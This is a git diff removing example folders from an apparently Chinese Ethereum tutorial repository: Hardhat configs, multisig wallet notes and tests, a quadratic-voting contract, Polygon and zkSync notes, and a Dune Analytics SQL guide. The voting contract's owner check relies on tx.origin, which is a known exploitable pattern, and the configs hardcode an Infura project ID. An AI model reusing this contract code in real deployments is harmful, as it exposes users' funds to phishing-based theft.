-      url: "https://mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    ropsten: {
-      url: "https://ropsten.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-  }
-};
\ No newline at end of file
diff --git a/Example25-multi-sig-wallet/package.json b/Example25-multi-sig-wallet/package.json
deleted file mode 100644
index bbedc65ca..000000000
--- a/Example25-multi-sig-wallet/package.json
+++ /dev/null
@@ -1,20 +0,0 @@
-{
-  "name": "MultiSigWallet",
-  "version": "1.0.0",
-  "main": "index.js",
-  "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
-  },
-  "keywords": [],
-  "author": "",
-  "license": "ISC",
-  "devDependencies": {
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.4.0",
-    "ethers": "^5.3.1",
-    "hardhat": "^2.4.1"
-  },
-  "description": ""
-}
diff --git a/Example25-multi-sig-wallet/readme.md b/Example25-multi-sig-wallet/readme.md
deleted file mode 100644
index 6cf52e893..000000000
--- a/Example25-multi-sig-wallet/readme.md
+++ /dev/null
@@ -1,81 +0,0 @@
-# 多签钱包调研
-
-## 一、相关地址
-* [合约源码](https://github.com/gnosis/MultiSigWallet/tree/master/contracts)
-
-
-## 二、合约解读
-> 合约地址：https://github.com/gnosis/MultiSigWallet/tree/master/contracts
-
-* MultiSigWallet.sol
-* MultiSigWalletFactory.sol
-* MultiSigWalletWithDailyLimit.sol
-* MultiSigWalletWithDailyLimitFactory.sol
-* TestCalls.sol
-* TestToken.sol
-
-
-
-## 合约接口
-
-* 构造函数
-
-  初始化签名者列表，及每次交易至少需要签名数。
-
-* addOwner 
-  
-  追加签名者
-
-* replaceOwner
-
-  替换一个现有的签名者
-  
-* changeRequirement
-
-  变更最低签名数
-  
-* submitTransaction
-
-  提交一笔交易申请，参数为：合约地址、转账金额、交易data
-  
-* confirmTransaction
-
-  传入之前提交的交易的id，确认这笔交易可执行，如果确认的人数已达到最低要求，则自动执行该交易
-  
-* revokeConfirmation
-
-  取消确认一笔自己之前确认过的交易
-
-* executeTransaction
-
-  根据id执行对应的交易，前提是交易已得到足够的确认数
-  
-* isConfirmed
-
-  判断一笔交易是否已得到足够的确认数
-  
-* getConfirmationCount
-
-  获取一笔交易当前得到的确认数
-  
-* getTransactionCount
-
-  查询交易数，两个入参分别是：是否包含处理中的交易、是否包含已处理的交易
-  
-* getOwners
-
-  获取当前所有可确认交易者
-  
-* getConfirmations
-
-  查看一笔交易已经得到哪些确认者的确认
-  
-* getTransactionIds
-* 
-  查询交易id列表，参数为：from、to、pending（是否包含处理中）、executed（是否包含已处理）
-
-
-## 参考链接
-https://zhuanlan.zhihu.com/p/337823524
-https://github.com/gnosis/MultiSigWallet/tree/master/contracts
-https://medium.com/dsys/now-open-source-friendly-multi-signatures-for-ethereum-d75ca5a0dc5c
diff --git a/Example25-multi-sig-wallet/scripts/deploy.js b/Example25-multi-sig-wallet/scripts/deploy.js
deleted file mode 100644
index 5c7fb47bb..000000000
--- a/Example25-multi-sig-wallet/scripts/deploy.js
+++ /dev/null
@@ -1,25 +0,0 @@
-// We require the Hardhat Runtime Environment explicitly here. This is optional 
-// but useful for running the script in a standalone fashion through `node <script>`.
-//
-// When running the script with `hardhat run <script>` you'll find the Hardhat
-// Runtime Environment's members available in the global scope.
-const hre = require("hardhat");
-
-async function main(){
-    const [Alice,Bob] = await ethers.getSigners();
-    console.log("MultiSigWallet owner is :",Alice.address);
-    
-    //部署MyToken.sol
-    const MultiSigWallet = await ethers.getContractFactory("MultiSigWallet");
-    const multiSigWalletReceipt = await MultiSigWallet.deploy([Alice.address,Bob.address],2);
-    await multiSigWalletReceipt.deployed();
-    
-    console.log("MultiSigWallet address:", multiSigWalletReceipt.address);
-}
-
-main()
-    .then(() => process.exit(0))
-    .catch(error => {
-        console.error(error);
-        process.exit(1);
-    });
\ No newline at end of file
diff --git a/Example25-multi-sig-wallet/test/test.js b/Example25-multi-sig-wallet/test/test.js
deleted file mode 100644
index 52c3bad0f..000000000
--- a/Example25-multi-sig-wallet/test/test.js
+++ /dev/null
@@ -1,112 +0,0 @@
-const { expect } = require("chai");
-
-
-
-function getPayLoad(contractABI,functionName,param){
-  for(let i=0;i<contractABI.length;i++){
-    const functionABI = contractABI[i];
-    if(functionName!=functionABI.name){
-      continue;
-    }
-    
-    //get sigHash of function
-    const interface = new ethers.utils.Interface(contractABI);
-    const functionSigHash = interface.getSighash(functionName);
-    console.log("sign of method:%s is %s",functionName,functionSigHash);
-    
-    //encode param
-    const abiCoder =new ethers.utils.AbiCoder()
-    const codeOfParam =  abiCoder.encode(['uint256'],[param])
-    console.log("codeOfParam:",codeOfParam);
-    
-    
-    //payload
-    const payload = functionSigHash + codeOfParam.substring(2,codeOfParam.length);
-    console.log("payload:",functionName,payload);
-    return payload;
-  }
-}
-
-describe("MultiSigWallet test",function(){
-  it("test function of MultiSigWallet.sol",async function(){
-    //测试账号数组
-    const [Alice,Bob,David] = await ethers.getSigners();
-    
-    //部署多签合约`MultiSigWallet.sol`
-    const MultiSigWallet = await ethers.getContractFactory("MultiSigWallet");
-    const multiSigWallet = await MultiSigWallet.deploy([Alice.address,Bob.address,David.address],2);
-    await multiSigWallet.deployed();
-    console.log("address of multiSigWallet:",multiSigWallet.address);
-    
-    //部署交易合约`Hello.sol`,该合约的交易只能由上面的那个合约触发
-    const Hello = await ethers.getContractFactory("Hello");
-    const hello = await Hello.deploy();
-    await hello.deployed();
-    console.log("address of hello:",hello.address);
-    
-    
-    //在多签钱包添加一笔交易
-    const tokenArtifact = await hre.artifacts.readArtifact("Hello");
-    const payload = getPayLoad(tokenArtifact.abi,"set",233);
-    const submitTransaction = await multiSigWallet.submitTransaction(hello.address, 0, payload);
-    const transactionReceipt = await submitTransaction.wait();
-    console.log("transactionReceipt:",transactionReceipt);
-    
-    
-    // await multiSigWallet.queryFilter("Submission" , transactionReceipt.blockNumber ,transactionReceipt.blockNumber)
-    // .then(e => console.log(e)).catch(err =>console.log(err));
-    
-    
-    //其他参与者同意
-    // await multiSigWallet.connect(Bob).confirmTransaction(Bob.address, 50);
-    
-    
-    
-    
-    // console.log("abi of hello:",tokenArtifact.abi);
-    
-    // const data = getPayLoad();
-    
-  });
-});
-
-
-/**
- * const { expect } = require("chai");
- 
- describe("MyToken test",function (){
-     it("deploy MyToken and test function", async function() {
- 
-         //获取测试账号(第一个是管理员)
-         const [Owner,Alice,Bob] = await ethers.getSigners();
- 
-        //部署MyToken.sol
-         const MyToken = await ethers.getContractFactory("MyToken");
-         const myToken = await MyToken.deploy(1000000);
-         await myToken.deployed();
- 
-         //判断管理员的余额是否跟初始化的一样
-         const OwnerInitBalance = await myToken.balance(Owner.address);
-         console.log('Owner balance:',OwnerInitBalance.toString().replace("0x",""));
-         expect(OwnerInitBalance).to.equal(1000000);
- 
-         //Owner给Alice转账
-         await myToken.transfer(Alice.address,100);
-         //Alice给Bob转账
-         await myToken.connect(Alice).transfer(Bob.address, 50);
- 
-         //获取各个用户余额
-         const  OwnerBalance = await myToken.balance(Owner.address);
-         const  AliceBalance = await myToken.balance(Alice.address);
-         const  BobBalance = await myToken.balance(Bob.address);
- 
-         //确认余额
-         expect(OwnerBalance).to.equal(1000000-100);
-         expect(AliceBalance).to.equal(100-50);
-         expect(BobBalance).to.equal(50);
- 
-         //打印合约地址
-         console.log("MyToken address：",myToken.address);
-     });
- });
- */
diff --git a/Example27-quadratic-vote/README.md b/Example27-quadratic-vote/README.md
deleted file mode 100644
index db2d2e206..000000000
--- a/Example27-quadratic-vote/README.md
+++ /dev/null
@@ -1,94 +0,0 @@
-## 参考资料
-
-[二次方投票和二次方资助](https://www.matataki.io/p/6113)
-
-## 代码解读
-
-1. voteTool 二次方投票
-2. FinancingTool 二次方融资
-
-**共性一**
-两个的提案都是先通过 hash 获取到 id
-
-```
-function hash(bytes memory _b) public pure returns (bytes32){
-    return keccak256(_b);
-}
-```
-
-在实际添加或者投票的时候用的上面获取到的 id, 内部用的数字，是为了 event 可以保持该 id
-
-实际好像 bytes32 也可以，但是 bytes/string 不行，event 中会被 hash
-
-**共性二**
-0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
-表示接受以太坊，其他表示接受代币
-
-另外， 两个都是例子，实际按照需求稍微修改即可
-
-#### voteTool
-
-二次方投票， 票数越多，需要金额越多
-例： 第一票 1eth，第二票 2eth， 第三票 4eth，第四票 8eth，
-票数 n 金额 = 2\*\*(n-1)
-
-暂未兼容eth/token一起投
-
-- addProposal(uint256 _proposal) public onlyOwner （添加提案）
-- expireProposal(uint256 _proposal) public onlyOwner （过期后无法再投票）
-- vote(uint256 _proposal, uint256 _n) public payable(投票)
-- withdraw() public onlyOwner(内部只是提eth, 代币需要修改)
-
-#### financingTool
-
-每个用户针对某个提案投票都是总金额的开平方
-公式解读由 **Harry** 提供
-
-```
-	 /**
-        绿色：
-        项目A：1*1 = 1
-        项目B：
-        用户1：4：边长2
-        用户2：16：边长4，总计 6
-        用户1：12，总计：6-2+（4+12)开根号=8
-        项目C：2*2=4
-        项目D：3*3=9
-
-        底边总长度：1+8+2+3=14
-
-        总方块面积：14*14 = 196
-
-        配捐 = 196-（1+32+4+9） = 150
-
-        最终：
-        A：1 + 1/14 * 150 = 11.714285714
-        B: 32 + 8/14 * 150 = 117.714285714
-        C: 4 + 2/14 * 150 = 25.428571429
-        D: 9 + 3/14 * 150 = 41.142857143
-	*/
-
-    struct Proposal {
-        uint256 name;//提案id
-        uint256 amount;//获得的金额
-        uint256 voteCount;//获得的份额
-        address owner;
-        address[] userAddrArr;//捐助用户地址
-        uint8 isEnd;//0,1
-    }
-
-    struct UserVote {//每个用户每个提案会有一个实例
-        uint256 count;//份额
-        uint256 amount;//金额
-    }
-
-```
-
-场景：每个人可以对多个提案进行捐助，在一定时间内结束，结束后给一定时间用于增加配捐时间，确认完整结束后，可以由提案 owner 去领取捐助额。
-
-- addProposal(uint256 _proposal) public onlyOwner(添加提案，内部的p.owner=msg.sender有误，看需求修改)
-- vote(uint256 _proposal, uint256 _inAmount) public payable(捐助)
-- addExtraAmount(address _maker, uint256 _inAmount) public payable(配捐，_maker标记谁配捐的)
-- withdrawProposal(uint256 _proposal) public checkEnd(结束后提取捐助额)
-- function getResult(uint256 _proposal) public view returns (uint256, uint256) (查询提案目前的捐助额/份额)
-- 其他就是相关查询方法， test开头的只是测试方法
diff --git a/Example27-quadratic-vote/contracts/voteTool.sol b/Example27-quadratic-vote/contracts/voteTool.sol
deleted file mode 100644
index d7c135692..000000000
--- a/Example27-quadratic-vote/contracts/voteTool.sol
+++ /dev/null
@@ -1,156 +0,0 @@
-pragma solidity ^0.6.6;
-
-library SafeMath {
-    function add(uint256 a, uint256 b) internal pure returns (uint256) {
-        uint256 c = a + b;
-        require(c >= a, "SafeMath: addition overflow");
-
-        return c;
-    }
-
-    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
-        require(b <= a, "SafeMath: subtraction overflow");
-        uint256 c = a - b;
-
-        return c;
-    }
-
-    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
-        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
-        // benefit is lost if 'b' is also tested.
-        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
-        if (a == 0) {
-            return 0;
-        }
-
-        uint256 c = a * b;
-        require(c / a == b, "SafeMath: multiplication overflow");
-
-        return c;
-    }
-
-    function div(uint256 a, uint256 b) internal pure returns (uint256) {
-        // Solidity only automatically asserts when dividing by 0
-        require(b > 0, "SafeMath: division by zero");
-        uint256 c = a / b;
-        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
-
-        return c;
-    }
-
-    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
-        require(b != 0, "SafeMath: modulo by zero");
-        return a % b;
-    }
-}
-
-contract VoteTool {
-
-    function safeTransfer(address token, address to, uint256 value) internal {
-        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
-        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
-    }
-
-    function safeTransferFrom(address token, address from, address to, uint value) internal {
-        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
-        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
-    }
-
-    event AddProposal(uint256 _hash);
-    event Vote(address indexed _from, uint256 indexed _hash, uint256 _n);
-
-    address emptyAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
-    address owner = 0xBE9dD06cB0E71Dc5b13FfA0AF58e2f04a2aF50E3;
-    uint256 ONE_VOTE_ETH = 1 ether;
-
-    using SafeMath for uint256;
-
-    struct Proposal {
-        uint256 name;
-        uint256 voteCount;
-        uint256 amount;
-        uint8 status;//1 valid ,2 expired
-    }
-
-    Proposal[]  proposals;
-    mapping(uint256 => uint256) proposalMap;
-    mapping(address => mapping(uint256 => uint256)) userVoteMap;
-
-
-    constructor()public{
-        owner = msg.sender;
-    }
-
-
-    modifier onlyOwner() {
-        require(tx.origin == owner, "Ownable: caller is not the owner");
-        _;
-    }
-
-    function vote(uint256 _proposal, uint256 _n) public payable {
-        require(_n > 0, "zero");
-        uint256 index = proposalMap[_proposal];
-        require(index > 0, "not exists");
-        Proposal storage p = proposals[index - 1];
-        require(p.status == 1, "expired");
-        uint256 userNum = userVoteMap[msg.sender][_proposal];
-        uint256 nextNum = userNum.add(_n);
-        uint256 amount;
-        for (; userNum < nextNum; userNum++) {
-            amount = amount.add(numPower(userNum).mul(ONE_VOTE_ETH));
-        }
-        require(msg.value >= amount, "not enough");
-        p.amount = p.amount.add(amount);
-        p.voteCount = p.voteCount.add(_n);
-
-        userVoteMap[msg.sender][_proposal] = nextNum;
-
-        if (msg.value > amount) {
-            msg.sender.transfer(msg.value.sub(amount));
-        }
-        emit Vote(msg.sender, _proposal, _n);
-    }
-
-    function addProposal(uint256 _proposal) public onlyOwner {
-        require(proposalMap[_proposal] == 0, "exists");
-        proposals.push(Proposal(_proposal, 0, 0, 1));
-        proposalMap[_proposal] = proposals.length;
-        emit AddProposal(_proposal);
-    }
-
-
-    function expireProposal(uint256 _proposal) public onlyOwner {
-        require(proposalMap[_proposal] > 0, "not exists");
-        proposals[proposalMap[_proposal] - 1].status = 2;
-    }
-
-    function withdraw() public onlyOwner {
-        msg.sender.transfer(address(this).balance);
-    }
-
-    function getProposalLength() public view returns (uint256){
-        return proposals.length;
-    }
-
-    function getProposal(uint256 _index) public view returns (uint256, uint256, uint256, uint8){
-        require(_index < proposals.length, "out");
-        Proposal memory p = proposals[_index];
-        return (p.name, p.voteCount, p.amount, p.status);
-    }
-
-    function getUserVoteNum(address _addr, uint256 _proposal) public view returns (uint256){
-        return userVoteMap[_addr][_proposal];
-    }
-
-
-    function numPower(uint256 _n) public pure returns (uint256){
-        return 2 ** _n;
-
-    }
-
-    function hash(bytes memory _b) public pure returns (bytes32){
-        return keccak256(_b);
-    }
-
-
-}
diff --git a/Example29-layer2-matic/hardhat.config.js b/Example29-layer2-matic/hardhat.config.js
deleted file mode 100644
index ea2e03270..000000000
--- a/Example29-layer2-matic/hardhat.config.js
+++ /dev/null
@@ -1,75 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-
-const fs = require("fs");
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async () => {
-  const accounts = await ethers.getSigners();
-
-  for (const account of accounts) {
-    console.log(account.address);
-  }
-});
-
-function mnemonic() {
-  
-  return fs.readFileSync("./sk.txt").toString().trim();
-  
-}
-
-// You need to export an object to set up your config
-// Go to https://hardhat.org/config/ to learn more
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: "0.7.0",
-  networks: {
-    localhost: {
-      url: "http://localhost:8545",
-      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
-      /*
-        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
-        (you can put in a mnemonic here to set the deployer locally)
-      */
-    },
-    rinkeby: {
-      url: "https://rinkeby.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    kovan: {
-      url: "https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    mainnet: {
-      url: "https://mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    ropsten: {
-      url: "https://ropsten.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    matic: {
-      url: "https://polygon-mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07",
-      accounts: [
-        mnemonic()
-      ]
-    },
-    matic_mumbai: {
-      url: "https://polygon-mumbai.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07",
-      accounts: [
-        mnemonic()
-      ]
-    },
-  }
-};
-
-
diff --git a/Example29-layer2-matic/package.json b/Example29-layer2-matic/package.json
deleted file mode 100644
index 673ebfb10..000000000
--- a/Example29-layer2-matic/package.json
+++ /dev/null
@@ -1,11 +0,0 @@
-{
-  "name": "hardhat-project",
-  "devDependencies": {
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.3.0",
-    "ethers": "^5.3.1",
-    "hardhat": "^2.3.3"
-  }
-}
diff --git a/Example29-layer2-matic/readme.md b/Example29-layer2-matic/readme.md
deleted file mode 100644
index 36caa6fdb..000000000
--- a/Example29-layer2-matic/readme.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# Polygon
-
-[matic官方文档](https://docs.matic.network/docs/develop/getting-started)
-
-## matic测试网
-测试网（Mumbai）：https://rpc-mumbai.maticvigil.com
-
-测试网浏览器：https://explorer-mumbai.maticvigil.com/
-
-matic主网：https://rpc-mainnet.maticvigil.com
-
-主网浏览器：https://polygonscan.com/
-
-## 操作步骤
-`npx hardhat run scripts/sample-script.js --network matic_mumbai`
-
-## 参考链接
-
-https://www.yuque.com/docs/share/8e737364-c380-418e-af21-0f07095fe900
-
-使用教程: https://cloud.tencent.com/developer/article/1828250
-
-hardhat: https://docs.matic.network/docs/develop/hardhat/
-
-https://medium.com/pinata/how-to-create-layer-2-nfts-with-polygon-and-ipfs-aef998ff8ef2
diff --git a/Example29-layer2-matic/scripts/sample-script.js b/Example29-layer2-matic/scripts/sample-script.js
deleted file mode 100644
index 1aa1a2482..000000000
--- a/Example29-layer2-matic/scripts/sample-script.js
+++ /dev/null
@@ -1,32 +0,0 @@
-// We require the Hardhat Runtime Environment explicitly here. This is optional 
-// but useful for running the script in a standalone fashion through `node <script>`.
-//
-// When running the script with `hardhat run <script>` you'll find the Hardhat
-// Runtime Environment's members available in the global scope.
-const hre = require("hardhat");
-
-async function main() {
-  // Hardhat always runs the compile task when running scripts with its command
-  // line interface.
-  //
-  // If this script is run directly using `node` you may want to call compile 
-  // manually to make sure everything is compiled
-  // await hre.run('compile');
-
-  // We get the contract to deploy
-  const Greeter = await hre.ethers.getContractFactory("Greeter");
-  const greeter = await Greeter.deploy("Hello, Hardhat!");
-
-  await greeter.deployed();
-
-  console.log("Greeter deployed to:", greeter.address);
-}
-
-// We recommend this pattern to be able to use async/await everywhere
-// and properly handle errors.
-main()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
diff --git a/Example29-layer2-matic/test/sample-test.js b/Example29-layer2-matic/test/sample-test.js
deleted file mode 100644
index 83bee5a56..000000000
--- a/Example29-layer2-matic/test/sample-test.js
+++ /dev/null
@@ -1,14 +0,0 @@
-const { expect } = require("chai");
-
-describe("Greeter", function() {
-  it("Should return the new greeting once it's changed", async function() {
-    const Greeter = await ethers.getContractFactory("Greeter");
-    const greeter = await Greeter.deploy("Hello, world!");
-    
-    await greeter.deployed();
-    expect(await greeter.greet()).to.equal("Hello, world!");
-
-    await greeter.setGreeting("Hola, mundo!");
-    expect(await greeter.greet()).to.equal("Hola, mundo!");
-  });
-});
diff --git a/Example30-layer2-zksync/readme.md b/Example30-layer2-zksync/readme.md
deleted file mode 100644
index 074378807..000000000
--- a/Example30-layer2-zksync/readme.md
+++ /dev/null
@@ -1,34 +0,0 @@
-# zksync
-[主页](https://github.com/matter-labs/zksync)
-
-## 基本架构
-
- zkSync的基本组成有：
-
- zkSync smart contract：部署在以太坊网络上的Solidity智能合约，用于管理用户balances并验证zkSync network操作的正确性。
-
- Prover application：为a worker application，用于创建a proof for an executed block。
- Prover application会从Server application中获取有效的jobs，当有新的区块时，Server application将提供a witness（input data to generate a proof），然后Prover application 开始工作。当proof生成后，Prover application会将该proof报告给Server application，Server application再将该proof发布给zkSync智能合约。
-
- Prover application可看成是on-demand worker，当Server application负载很高时，允许有多个Prover applications，当没有交易输入时则没有Prover application。
- 生成proof是非常消耗资源的工作，因此，运行Prover application的机器应具有现代CPU和大量的RAM。
-
- Server application：运行zkSync网络的节点。
-
- Server application的职能主要有：
- 1）监测智能合约上的onchain operations（如存款）
- 2）接收交易
- 3）生成zkSync上的区块
- 4）为executed blocks发起proof生成申请
- 5）将数据发布到zkSync smart contract
-
-
-## 参考链接
-
-https://zhuanlan.zhihu.com/p/363029544
-
-https://www.jianshu.com/u/ac3aed07477e
-
-https://zhuanlan.zhihu.com/p/343212894
-
-https://mp.weixin.qq.com/s/TxZ5W9rx6OF8qB4ZU9XrKA
diff --git a/Example31-dune-analytics-nansen/readme.md b/Example31-dune-analytics-nansen/readme.md
deleted file mode 100644
index c0524f464..000000000
--- a/Example31-dune-analytics-nansen/readme.md
+++ /dev/null
@@ -1,291 +0,0 @@
-# duneanalytics & nansen
-
-## 介绍
-DuneAnalytics 是一个研究以太坊智能合约数据的强大工具，它可以查询，提取和可视化以太坊区块链上的数据。你在 DuneAnalytics 可以通过 Sql 查询 eth 的线上数据信息，这不需要你运行 Eth 节点，也不需要了解 RPC api，跟在普通数据库使用 Sql 体验一样。
-
-## 通俗解释
-
-简单来说，DuneAnalytics = PostgreSQL + Ethereum 的组合，PostgreSQL 是世界上非常知名的数据库软件，比 Mysql 更加强大，是贫民版的 Oracle 数据库（甲骨文数据库，跟预言机关系不大）。
-
-DuneAnalytics 是把 Eth 的链上数据，已结构化的形式存放到数据库中，只要你会用 Sql，就可以构造不同的查询条件进行灵活的查询。
-
-## PostgreSQL
-
-### 严格的sql格式
-
-pgsql对Sql语法的要求非常严苛，更接近 Sql 标准，比mysql要严格。
-
-```sql
-author= 'bob' -- 正确
-
-author= "bob" -- 错误
-```
-
-### 系统函数表
-关键字：`information_schema` `pg_catalog`
-
-```sql
--- 查询 duneanalytics 所有数据库的所有表
-SELECT * FROM pg_catalog.pg_tables
-WHERE schemaname != 'pg_catalog' AND
-    schemaname != 'information_schema';
-```
-
-```sql
--- https://duneanalytics.com/queries/50446
--- 查询表结构
-SELECT
-  table_name,
-  column_name,
-  data_type
-FROM information_schema.columns WHERE table_name = 'blocks';
-```
-
-```sql
--- 查询 uniswap_v2 数据库的所有表
-SELECT * FROM pg_catalog.pg_tables
-  WHERE schemaname = 'uniswap_v2';
-
--- 模糊查询，查询数据库名类似 aave 的数据库
-SELECT DISTINCT(schemaname) FROM pg_catalog.pg_tables
-  WHERE schemaname LIKE '%aave%';
-
--- 模糊查询，查询表名类似 evt 的表
-SELECT DISTINCT(tablename) FROM pg_catalog.pg_tables
-  WHERE tablename LIKE '%evt%';
-
--- 模糊查询，查询uniswap_v2数据库中表名类似 evt 的表
-SELECT DISTINCT(tablename) FROM pg_catalog.pg_tables
-  WHERE tablename LIKE '%evt%' and schemaname = 'uniswap_v2';
-```
-
-## DuneAnalytics 常见表的数据结构
-
-### blocks
-
-记录区块数据
-
-```sql
--- https://duneanalytics.com/queries/50446
-
-select * from ethereum.blocks order by time desc limit 1;
-```
-
-
-### transactions
-
-记录交易数据
-
-```sql
-select * from ethereum.transactions order by block_time desc limit 1;
-
--- https://duneanalytics.com/queries/50439
-```
-
-### contracts
-
-记录合约数据
-
-```sql
--- https://duneanalytics.com/queries/50448
-
-select * from  ethereum.contracts order by created_at desc limit 1;
-
-SELECT
-  table_name,
-  column_name,
-  data_type
-FROM information_schema.columns WHERE table_name = 'contracts';
-```
-
-### logs
-
-记录 eth 所有的事件，包括 transfer、mint、burn 等
-
-```sql
--- https://duneanalytics.com/queries/50451
-
-SELECT
-  table_name,
-  column_name,
-  data_type
-FROM information_schema.columns WHERE table_name = 'logs';
-
-select * from ethereum.logs limit 1;
-```
-
-### prices.layer1_usd 表
-
-以分钟为单位的 ETH 和许多其他流行代币的价格表
-
-```sql
-SELECT * FROM pg_catalog.pg_tables
-  WHERE schemaname = 'prices';
-
-select * from prices.layer1_usd order by minute desc limit 1;
-
-select * from prices.layer1_usd where symbol='ETH' order by minute desc limit 5;
-
-SELECT DISTINCT(symbol) from prices.layer1_usd limit 10;
-```
-
-### erc20."ERC20_evt_Transfer" 表
-
-记录发送 token 时触发的所有转账事件
-
-```sql
-SELECT * FROM pg_catalog.pg_tables
-  WHERE schemaname = 'erc20';
-
-select * from erc20.tokens limit 10;
-
-select * from erc20."ERC20_evt_Transfer" limit 10;
-
-select * from erc20."ERC20_evt_Transfer" order by evt_block_time limit 10; -- 表名必须是 erc20."ERC20_evt_Transfer"
-
-```
-
----
-
-## 重点说说 logs 表相关的内容
-
-### 如何得到 event logs hash
-
-请看以下连接，这里不做过多介绍
-
-https://medium.com/mycrypto/understanding-event-logs-on-the-ethereum-blockchain-f4ae7ba50378
-
-https://etherscan.io/tx/0xe64069acd123ec94b8a3316378183ba8bf42b40979df3b0bb57b0e7b9e47ef38#eventlog
-
-### uniswap 常见的 event logs hash
-
-```sql
-PairCreated(address,address,address,uint256) 0x0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9
-
-Swap() 0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822
-
-Sync() 0x1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1
-
-Mint() 0x4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f
-
-Burn() 0xdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496
-```
-
-### eth-usdt 交易对 为例
-
-详细数据请看 https://v2.info.uniswap.org/pair/0x0d4a11d5eeaac28ec3f61d100daf4d40471f1852
-
-我们找到 eth-usdt 交易对的合约地址是 `0x0d4a11d5eeaac28ec3f61d100daf4d40471f1852`。
-
-```sql
--- 交易对产生了多少事件？
--- 结果 6124700
-select count(*) from ethereum.logs where
-  "contract_address"= '\x0d4a11d5eeaac28ec3f61d100daf4d40471f1852';
-```
-
-
-```sql
--- 合约创建日期
--- 运行了10分钟 还没有结果
-select block_time, block_number, tx_index from ethereum.logs
-  where "contract_address"= '\x0d4a11d5eeaac28ec3f61d100daf4d40471f1852'
-  order by "block_time" asc limit 1;
-```
-
-```sql
--- pair 添加流动性次数
--- 结果 37176
-select count(*) from ethereum.logs
-  where "contract_address"= '\x0d4a11d5eeaac28ec3f61d100daf4d40471f1852'
-  and "topic1" = '\x4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f';
-```
-
-## Parameter
-
-Parameter 是变量替换
-
-https://docs.duneanalytics.com/about/tutorials/dune-guides/tips#filter-queries-and-dashboards-with-parameters
-
-```sql
-select count(*) from ethereum.logs where
-  "contract_address"= CONCAT('\x', substring('{{token_addr}}' from 3))::bytea;
-```
-
-## 例子
-
-### 过去10天 每天发送的ETH的总量
-```sql
-select date_trunc('day', block_time) as "Date", sum(value/1e18) as "Value"
-from ethereum."transactions"
-where block_time > now() - interval '10 days'
-group by 1 order by 1
-
---group by 1 按照 第1个字段分组
---order by 1 按照 第1个字段排序
-```
-
-### Top 10 token holders 查询代币的分配情况
-
-```sql
-WITH transfers AS (
-  SELECT
-    evt_block_time,
-    tr."from" AS address,
-    -tr.value AS amount,
-    contract_address
-     FROM erc20."ERC20_evt_Transfer" tr
-    WHERE contract_address = CONCAT('\x', substring('{{Token Address}}' from 3))::bytea -- Allow user to input 0x... format and convert to \x... format
-
-UNION ALL
-
-    SELECT
-    evt_block_time,
-    tr."to" AS address,
-    tr.value AS amount,
-      contract_address
-     FROM erc20."ERC20_evt_Transfer" tr
-     WHERE contract_address = CONCAT('\x', substring('{{Token Address}}' from 3))::bytea -- Allow user to input 0x... format and convert to \x... format
-)
-
-SELECT
-  address,
-  sum(amount/10^decimals) as balance
-  FROM transfers tr
-  LEFT JOIN erc20.tokens tok ON tr.contract_address = tok.contract_address
-  GROUP BY 1
-  ORDER BY 2 DESC
-  LIMIT 10
-```
-
-### 查询 uniswapV3 nft 添加流动性信息
-
-关键是找到表 `NonfungibleTokenPositionManager_evt_IncreaseLiquidity`
-
-
-```sql
--- 查询 uniswap_v3 数据库的所有表
-SELECT * FROM pg_catalog.pg_tables
-  WHERE schemaname = 'uniswap_v3';
